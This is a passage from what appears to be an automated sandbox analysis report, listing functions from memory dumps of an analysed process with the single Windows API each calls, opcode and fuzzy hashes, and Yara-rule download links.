API String ID: 0-3610607862
Opcode ID: f598ba2999aa3ff31e770823e774c3b8604d25154b334562e4344334d877d7fc
Instruction ID: 0f8ff9bac4ab33728d031be442178a04b83331dc76112f8e2fddcc8cb9f6ccf7
Opcode Fuzzy Hash: f598ba2999aa3ff31e770823e774c3b8604d25154b334562e4344334d877d7fc
Instruction Fuzzy Hash: D5416134E00269CFDB68EB60CD907ADBBB6BF84300F1484A9850A77290DF349D81DF56

Uniqueness

Uniqueness Score: -1.00%

Function 02891DDC, Relevance: 1.6, APIs: 1, Instructions: 127networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32 ref: 02891EC6

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 3610156fc7aedab973ed7de452900af13074da6792cb06e591718684fd356b13
Instruction ID: 6b72917a2fea79fa78acdea816eda4e7d5ece770afe620b3cdaa29c22b38a640
Opcode Fuzzy Hash: 3610156fc7aedab973ed7de452900af13074da6792cb06e591718684fd356b13
Instruction Fuzzy Hash: 66413A7540E7C0AFD7238B618C69A55BFB4AF07214F0E85DBE8C5CF5A3D2699809C722

Uniqueness

Uniqueness Score: -1.00%

Function 028938E7, Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000E9C), ref: 028939BF

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: ec70efda66a7ff6802c9ad9905493588117975e33d52d82f380bea8f791e828f
Instruction ID: cf3562d2ecb13ccc0729f274820bb643f2003211daa38c2089832555ff0c7e4f
Opcode Fuzzy Hash: ec70efda66a7ff6802c9ad9905493588117975e33d52d82f380bea8f791e828f
Instruction Fuzzy Hash: 4D31C3B1104340AFEB22CF60DC45FA6BBACEF05310F04449AF9849B192D375A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02890118, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028901D0

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 2074c4eb2040c50b9f3508a7ae9b8616cad759ba5be6276a6db1b5fb14b5ded0
Instruction ID: 05a11add51d12b25280355639461137e6dbaa3edecad6082d43fd0be23248105
Opcode Fuzzy Hash: 2074c4eb2040c50b9f3508a7ae9b8616cad759ba5be6276a6db1b5fb14b5ded0
Instruction Fuzzy Hash: 3E314A7650E3C08FEB138B759C65692BFB4AF47210F0E84DBD884CF1A3D6259809DB62

Uniqueness

Uniqueness Score: -1.00%

Function 02891BEC, Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 02891C8B

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7bc15597fcefcb80a181ef61e76bbb32ba4aafa1adf6119ed91f2eed094cc38f
Instruction ID: d36267a40a4049df403811b3d0e02920b7584c628526e19f9b73172b94adc57f
Opcode Fuzzy Hash: 7bc15597fcefcb80a181ef61e76bbb32ba4aafa1adf6119ed91f2eed094cc38f
Instruction Fuzzy Hash: 1931E272504344AFEB22CF61CC45FA7BBACEF05210F08889AF985CB152D234E909DB71

Uniqueness

Uniqueness Score: -1.00%

Function 02892A7C, Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 02892B1B

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: bd0598547525b7888b8edd358d24c098f09bffdd15d3dc452844c09ba94d8e11
Instruction ID: 72dd0db24fee90463e530916a331dc6a06f71011d513eb782f0aabd3d20b1595
Opcode Fuzzy Hash: bd0598547525b7888b8edd358d24c098f09bffdd15d3dc452844c09ba94d8e11
Instruction Fuzzy Hash: 3B31A076504344AFEB22CF61DC45FA7BBECEF05220F08899AF985DB152D225E9098B61

Uniqueness

Uniqueness Score: -1.00%

Function 0289067A, Relevance: 1.6, APIs: 1, Instructions: 93fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 0289072D

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: fd8f49a91f84e87d89b000c399da6faa314618c3d50580ffdd913c55bee04409
Instruction ID: b6935373abb0f00706d394531667270bfd6eb4f4f566045e28de50e8979d3558
Opcode Fuzzy Hash: fd8f49a91f84e87d89b000c399da6faa314618c3d50580ffdd913c55bee04409
Instruction Fuzzy Hash: 96314F75505380AFE722CF65CC85F56BBB8EF05220F09849AE989CB293D365A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02890D32, Relevance: 1.6, APIs: 1, Instructions: 89registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02890DD6

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 222040e2b305e9d53441aa0559e4bd891d19a91e663c3d16e18455aa5fc5f976
Instruction ID: f749583e8fdb079d5d501f27c1c04c92d7115100d334bd263155902322eab568
Opcode Fuzzy Hash: 222040e2b305e9d53441aa0559e4bd891d19a91e663c3d16e18455aa5fc5f976
Instruction Fuzzy Hash: 683198B5509380AFE712CB25DC45B96BFE8DF06214F0884AAE948CF293D375E905C772

Uniqueness

Uniqueness Score: -1.00%

Function 01CEBD1E, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 01CEBDBC

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 55c7d92293030044e77199da8e8d7a87bbe15a664759cd549d52baceee6e246b
Instruction ID: 780571a0f4ecc642b06a4d9a94e069700d98d4cdf701dacb3cd4130e734347af
Opcode Fuzzy Hash: 55c7d92293030044e77199da8e8d7a87bbe15a664759cd549d52baceee6e246b
Instruction Fuzzy Hash: 9F31B471009380AFE712CB60CC45FA6BFB8EF06210F09849BE985CB192D224A909C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 01CEAF24, Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 01CEAFBE

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: EnumModulesProcess
String ID:
API String ID: 1082081703-0
Opcode ID: 71450007c4b2465a01fe0c9aa49ceb25868f9f81b409f6804d991a0d2d8245b0
Instruction ID: 0fc2c4d6d20571318b3b589080e378788a72091fbfe6e11aa6a10bdfa4314452
Opcode Fuzzy Hash: 71450007c4b2465a01fe0c9aa49ceb25868f9f81b409f6804d991a0d2d8245b0
Instruction Fuzzy Hash: FB21D8B2509380AFE712CF24DC45BA6BFB8EF06320F0984DBE985DB193D265A945C771

Uniqueness

Uniqueness Score: -1.00%

Function 02890FEE, Relevance: 1.6, APIs: 1, Instructions: 86encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateChain.CRYPT32(?,00000E9C,?,?), ref: 0289109E

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CertCertificateChain
String ID:
API String ID: 3019455780-0
Opcode ID: e48b4d27ea9abeb7f8e892a3deda0811361f4b8334ca92fb175cd1f660672324
Instruction ID: c771985d3d571e767b474b4593cf752687afb393ceab55dbd45d05eb2a04befc
Opcode Fuzzy Hash: e48b4d27ea9abeb7f8e892a3deda0811361f4b8334ca92fb175cd1f660672324
Instruction Fuzzy Hash: C93180B550E3C06FD3138B258C55B62BFB4AF47610F1A81DBD8848F193D629A909C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 028927AD, Relevance: 1.6, APIs: 1, Instructions: 85synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 0289284D

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: bb5af3b45d94d807ea03e10eb3384f67c847a369b8e6695708310949432fb0e1
Instruction ID: 3e98a31b3f6d23c22c7076a89d23eabb5b0d43ff59faf9ab7ae21f0999d77aee
Opcode Fuzzy Hash: bb5af3b45d94d807ea03e10eb3384f67c847a369b8e6695708310949432fb0e1
Instruction Fuzzy Hash: 103181B5505384AFE721CF25DC45F56FFE8EF05210F0884AAE988DB292D375E908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0289391A, Relevance: 1.6, APIs: 1, Instructions: 84COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000E9C), ref: 028939BF

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 7214ce333d7e3d387fa830463808d9b73d2c597ae14f44a28696d65fd650f381
Instruction ID: 4db718c8aee182134630defb21d43c5e43a3893f9e9c79ef245f36d25eba710b
Opcode Fuzzy Hash: 7214ce333d7e3d387fa830463808d9b73d2c597ae14f44a28696d65fd650f381
Instruction Fuzzy Hash: A721E0B1200304AFFB21DF51DC85FAAFBACEF04710F04889AFA49DA181D675A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02892503, Relevance: 1.6, APIs: 1, Instructions: 83fileCOMMON

Download Yara Rule

APIs

MapViewOfFile.KERNELBASE ref: 028925AA

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 0d918b138ea607b7e11745ced31e94121197c1361d8a57a211fbfeac05ce8a8b
Instruction ID: 67dc951a1d40c2297b11e0ece8d3164e389f0ca80dafdb575516b5e48c7bdb8d
Opcode Fuzzy Hash: 0d918b138ea607b7e11745ced31e94121197c1361d8a57a211fbfeac05ce8a8b
Instruction Fuzzy Hash: 2231B172505384AFE722CF55DC45F56FFF8EF06210F08859AE988CB152D375A908CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0289314E, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegNotifyChangeKeyValue.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 028931F8

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ChangeNotifyValue
String ID:
API String ID: 3933585183-0
Opcode ID: 79d91b8137ff44cc783f9a1b67c33144a74d2b607718d8543dd7d4406e5220ad
Instruction ID: 54e8ec29b85f9384f33b1b287ddf4ea1a2fc89a5f4a13696bda5bb46117943a2
Opcode Fuzzy Hash: 79d91b8137ff44cc783f9a1b67c33144a74d2b607718d8543dd7d4406e5220ad
Instruction Fuzzy Hash: F731C176405384AFEB22CF50DC44F96FFA8EF06310F09859AE9899B152D234A909CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02892F54, Relevance: 1.6, APIs: 1, Instructions: 83registryCOMMON

Download Yara Rule

APIs

RegOpenCurrentUser.KERNEL32(?,00000E9C), ref: 02892FED

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CurrentOpenUser
String ID:
API String ID: 1571386571-0
Opcode ID: aefde8c3f094238b22f996f8b9b23e578839039cdb49e19d1abdf55a49562313
Instruction ID: 59b703cb5bb6acb708765f4d451ae3b053f1cb1204667a68472e401f3cd69ed5
Opcode Fuzzy Hash: aefde8c3f094238b22f996f8b9b23e578839039cdb49e19d1abdf55a49562313
Instruction Fuzzy Hash: 9A21E475408384AFEB12CB21DC45FA6BFB8EF06350F0884DBE9448F143D264A909CB71

Uniqueness

Uniqueness Score: -1.00%

Function 01CEB01D, Relevance: 1.6, APIs: 1, Instructions: 82COMMON

Download Yara Rule

APIs

K32GetModuleInformation.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 01CEB0AE

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: 1a5a96f708371658b10fc9da3cfeaf2de6043ee195b4e2e83c0446dd15591316
Instruction ID: 44dabfd644abb958cd7876b57bb68c714ee9ae564c798e93d5014a637296d91a
Opcode Fuzzy Hash: 1a5a96f708371658b10fc9da3cfeaf2de6043ee195b4e2e83c0446dd15591316
Instruction Fuzzy Hash: DE21A3B1505380EFE722CF15CC45FA6BFF8EF06220F08849AE945DB152D664E948CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02892A9E, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 02892B1B

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 964b32b737c90428a9f0be7d0eb97d6a040d8b66c9c5a08474ee1e80a5b5ea49
Instruction ID: 15cb07945dedd0c6dea4ef16a1947db7107a0839109af780a47003e267a9064c
Opcode Fuzzy Hash: 964b32b737c90428a9f0be7d0eb97d6a040d8b66c9c5a08474ee1e80a5b5ea49
Instruction Fuzzy Hash: 6921BD76500704EFEB21DF61CC85FAAFBECEF08220F04896AFD45DA541D630E9098B61

Uniqueness

Uniqueness Score: -1.00%

Function 02891C0E, Relevance: 1.6, APIs: 1, Instructions: 80COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNEL32(?,00000E9C), ref: 02891C8B

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: be546a1782ce9c8e1ce368d64ce763048a4d9589271add8fd208f60384497459
Instruction ID: d826ca4c3f92ddc346fcb340568aea5dd8d5fadc93358d63d9e06bcf08e1e258
Opcode Fuzzy Hash: be546a1782ce9c8e1ce368d64ce763048a4d9589271add8fd208f60384497459
Instruction Fuzzy Hash: 7921BD76500305AFFB21DF61CC85FAAFBACEF04224F08896AF949CA541D635E909DB71

Uniqueness

Uniqueness Score: -1.00%

Function 02892988, Relevance: 1.6, APIs: 1, Instructions: 79timeCOMMON

Download Yara Rule

APIs

GetProcessTimes.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02892A11

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ProcessTimes
String ID:
API String ID: 1995159646-0
Opcode ID: 4fda147022717e3c43f1515bc10af677f4e3a6e61e3caa931927b59889c9a7c3
Instruction ID: 65b19f8dcc101a9c2cdc59b0256e470511d34d316571ecda67ebea9df4610762
Opcode Fuzzy Hash: 4fda147022717e3c43f1515bc10af677f4e3a6e61e3caa931927b59889c9a7c3
Instruction Fuzzy Hash: 2321B276505340AFEB22CF10DC45FA7BFB8EF06310F08849AF949DB152D235A909CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02890784, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02890819

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 04522eda4129317daa8f14dd89be8608098c9a92a79d46d41788bb9feb85793c
Instruction ID: 7b4f24a33cd363881c9c60c4274b1f61602cadc5d999c60cbdd60e11663eb6fc
Opcode Fuzzy Hash: 04522eda4129317daa8f14dd89be8608098c9a92a79d46d41788bb9feb85793c
Instruction Fuzzy Hash: 5421C8B6508780AFE712CB159C45BA3BFA8EF46720F0981DAE9899F193D224A905C771

Uniqueness

Uniqueness Score: -1.00%

Function 02892416, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 028924A1

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 66591ea76da347e03837ab05612bd2d3b0c67cbb76d812f09ca6635db3b7ac9d
Instruction ID: 1c89429ca3f2991fbd2fdb85f0a83ea228fd714828a897c56f203a3ad9caeef5
Opcode Fuzzy Hash: 66591ea76da347e03837ab05612bd2d3b0c67cbb76d812f09ca6635db3b7ac9d
Instruction Fuzzy Hash: 122183B5505780AFE721CF55DC45FA6FFA8EF05210F0884AAED89CB292D375E904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CEA1A8, Relevance: 1.6, APIs: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SetConsoleCtrlHandler.KERNEL32(?,00000E9C,?,?), ref: 01CEA23E

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: ConsoleCtrlHandler
String ID:
API String ID: 1513847179-0
Opcode ID: 855513299a046c352d8fde623ee3e6c0c202d8fca5a2294ab7fb7021b4c6a1fd
Instruction ID: de01063b4ce5d5fb2cf907231f4a44bc39816f526d8dae8c2a626109819f7ff2
Opcode Fuzzy Hash: 855513299a046c352d8fde623ee3e6c0c202d8fca5a2294ab7fb7021b4c6a1fd
Instruction Fuzzy Hash: 9A21B87150D3C0AFD312CB258C55B66BFB4EF47620F0981DBD884CF193D229A919C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 02891F1F, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 02891F9C

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: ea0d920f69e1bc76f7c0147e3fb33d4ac9684198ccd7e795e37ad4a9cd975cdc
Instruction ID: 441f1aa6bbecbbe7b9b68db8455a982f5d773111ea74e1a9f0f84ca1df8ceb91
Opcode Fuzzy Hash: ea0d920f69e1bc76f7c0147e3fb33d4ac9684198ccd7e795e37ad4a9cd975cdc
Instruction Fuzzy Hash: AF219C750093C0AFDB238F219C45AA2BFB4EF07220F0984DAED888F563D3259809DB61

Uniqueness

Uniqueness Score: -1.00%

Function 02890464, Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 02890502

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 2bd294a4c61ee21ee227c2c527ba20db465c9e92be0349e5e4bbac9f29f4ba74
Instruction ID: 31888e80021c38e707949e8117308e0cc39ac38be2b7c135d1de85e59a675900
Opcode Fuzzy Hash: 2bd294a4c61ee21ee227c2c527ba20db465c9e92be0349e5e4bbac9f29f4ba74
Instruction Fuzzy Hash: A421717540E3C0AFD3128B358C55B62BFB4EF47610F1A81CBD8848F693D225A91AC7B2

Uniqueness

Uniqueness Score: -1.00%

Function 028906AE, Relevance: 1.6, APIs: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?), ref: 0289072D

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 665b3ae2bca5ec6ccd6da08ef70e5e92a26ff876bf783b3170eef747907bd708
Instruction ID: 5632cfb47257e8a5f0e1fdc7639087fd18d2dcdeddf46b6d2993cb43ce7ff534
Opcode Fuzzy Hash: 665b3ae2bca5ec6ccd6da08ef70e5e92a26ff876bf783b3170eef747907bd708
Instruction Fuzzy Hash: 2A219575500704EFEB21DF65CC45F66FBE8EF08660F088469E949CB252D772E504CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02890854, Relevance: 1.6, APIs: 1, Instructions: 75fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 028908E5

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 22639383a640969caa11dd840acb15768d1c076582507eabed43cce6c860445c
Instruction ID: 5138be69c6797e89db017a34f294e5629f942117da4ec102644582fe81960577
Opcode Fuzzy Hash: 22639383a640969caa11dd840acb15768d1c076582507eabed43cce6c860445c
Instruction Fuzzy Hash: 5E219276409380AFEB22CF51DC44F56FFB8EF06314F09859BE9489B153C265A909CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CEA8B4, Relevance: 1.6, APIs: 1, Instructions: 74COMMON

Download Yara Rule

APIs

RasEnumConnectionsW.RASAPI32(?,00000E9C,?,?), ref: 01CEA94A

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: ConnectionsEnum
String ID:
API String ID: 3832085198-0
Opcode ID: a5632bade9c021c3faf8b0b962b84d310b541e538437c1bdb1bb8dd1f4248f68
Instruction ID: a2128947842bc7be95b00ec8f20761b1da5f0e42be86d60bbb4b6e53525fcbd6
Opcode Fuzzy Hash: a5632bade9c021c3faf8b0b962b84d310b541e538437c1bdb1bb8dd1f4248f68
Instruction Fuzzy Hash: BD21AA75409780AFD3138B25DC51B62BFB4EF87720F0941DBE8448B553D224A919C7B2

Uniqueness

Uniqueness Score: -1.00%

Function 02893ACA, Relevance: 1.6, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02893B59

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 0dfa46d239f759b3d0c37e0ef5e9888b4e6c593c16980374a22077d7e66b7579
Instruction ID: 89caa0509be074003adf82bd41fcd3ad4ab9ab205fadb4759b1608b5b5ba1c16
Opcode Fuzzy Hash: 0dfa46d239f759b3d0c37e0ef5e9888b4e6c593c16980374a22077d7e66b7579
Instruction Fuzzy Hash: E321C875409380AFE7228F11DC45F96FFB8EF06310F0885CBE9849B193D265A909C771

Uniqueness

Uniqueness Score: -1.00%

Function 028947CE, Relevance: 1.6, APIs: 1, Instructions: 72encryptionCOMMON

Download Yara Rule

APIs

CertVerifyCertificateChainPolicy.CRYPT32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02894856

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CertCertificateChainPolicyVerify
String ID:
API String ID: 3930008701-0
Opcode ID: b4a216951e0e70de568866fb4cd25fcf411a49c24e9bf6bdcac09c4525d79d91
Instruction ID: 2075e373cda99dfbbf37582677fb01a56065ce3cc561d2591fe2923a26710e94
Opcode Fuzzy Hash: b4a216951e0e70de568866fb4cd25fcf411a49c24e9bf6bdcac09c4525d79d91
Instruction Fuzzy Hash: 7C218075409380AFEB21CF10DC45FA6FFA8EF45320F08859BE9499B152D375A509CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028927DA, Relevance: 1.6, APIs: 1, Instructions: 72synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexW.KERNEL32(?,?), ref: 0289284D

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 49a86dd209541df9287cd9f500ad3ce7c882e2102e1f68f0173a6c1eb4ef31cf
Instruction ID: c4b0b9198cdecce0ad1b76cdc2c3e4a1ce4351822696a60103f6fba721d1004a
Opcode Fuzzy Hash: 49a86dd209541df9287cd9f500ad3ce7c882e2102e1f68f0173a6c1eb4ef31cf
Instruction Fuzzy Hash: AB218E79500344AFEB20DF25DC85BA6FBE8EF08364F08846AED49DB246D771E904CB65

Uniqueness

Uniqueness Score: -1.00%

Function 02892E88, Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

RasConnectionNotificationA.RASAPI32(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 02892F17

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: 82082837e26f9b6570ee1f8e0ba047fd7fd042211f690ec852b29b1318e13453
Instruction ID: bee70d2297858e2d7fb0685fbbdacca358a5238a3eb3c66eee2b5e66f7250d1e
Opcode Fuzzy Hash: 82082837e26f9b6570ee1f8e0ba047fd7fd042211f690ec852b29b1318e13453
Instruction Fuzzy Hash: 9321C575409384AFE7228B10DC45F66FFB8EF02314F0984DBE9889B153D264A908C771

Uniqueness

Uniqueness Score: -1.00%

Function 02890D66, Relevance: 1.6, APIs: 1, Instructions: 71registryCOMMON

Download Yara Rule

APIs

RegisterEventSourceW.ADVAPI32(?), ref: 02890DD6

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: EventRegisterSource
String ID:
API String ID: 1693822063-0
Opcode ID: 143a81bc925f0a84d5101664f3a9ad343b6f0537af8d9ce685c7f374e5837696
Instruction ID: 442f6cf7230784d81b2f9f1898c9ae20a2be4f1efedc57af44aa4d7b0c7c235d
Opcode Fuzzy Hash: 143a81bc925f0a84d5101664f3a9ad343b6f0537af8d9ce685c7f374e5837696
Instruction Fuzzy Hash: 76218475500344AFFB20DF29DC45B66FBD8EF04654F08856AE948DB242D775F904CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01CEBD52, Relevance: 1.6, APIs: 1, Instructions: 69COMMON

Download Yara Rule

APIs

GetTokenInformation.KERNELBASE(?,00000E9C,DCBDC399,00000000,00000000,00000000,00000000), ref: 01CEBDBC

Memory Dump Source

Source File: 00000021.00000002.2328784089.0000000001CEA000.00000040.00000001.sdmp, Offset: 01CEA000, based on PE: false

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: f9f2a52159046d66dd6d2ebc769e8de3967f33ec907424ca89af5558dcb6cef8
Instruction ID: 9ebfe391373892edaeac2761e2529ab550a2f6add40a4f0c3e9d851ad5641327
Opcode Fuzzy Hash: f9f2a52159046d66dd6d2ebc769e8de3967f33ec907424ca89af5558dcb6cef8
Instruction Fuzzy Hash: 6C118C72500704EFEB21CF55DC85BAAFBE8EF04220F04856AE949DA141D671EA048BA2

Uniqueness

Uniqueness Score: -1.00%

Function 02892436, Relevance: 1.6, APIs: 1, Instructions: 68COMMON

Download Yara Rule

APIs

OpenFileMappingW.KERNELBASE(?,?), ref: 028924A1

Memory Dump Source

Source File: 00000021.00000002.2345366246.0000000002890000.00000040.00000001.sdmp, Offset: 02890000, based on PE: false

Similarity

API ID: FileMappingOpen
String ID:
API String ID: 1680863896-0
Opcode ID: 8ee7014975ab97e353c9f7663d0a06b27f92d5470ae5cbfcc2218df49ef24f89
Instruction ID: c485043e9196c11054ceab38ab726f4288072274707ffe90a2f0afc1ddcf885b
Opcode Fuzzy Hash: 8ee7014975ab97e353c9f7663d0a06b27f92d5470ae5cbfcc2218df49ef24f89
Instruction Fuzzy Hash: 7F21A179500700AFFB20DF25CC85BA6FB98EF05224F08846AED498B246D771E804CB71

Uniqueness

Uniqueness Score: -1.00%

Function 02890F34, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

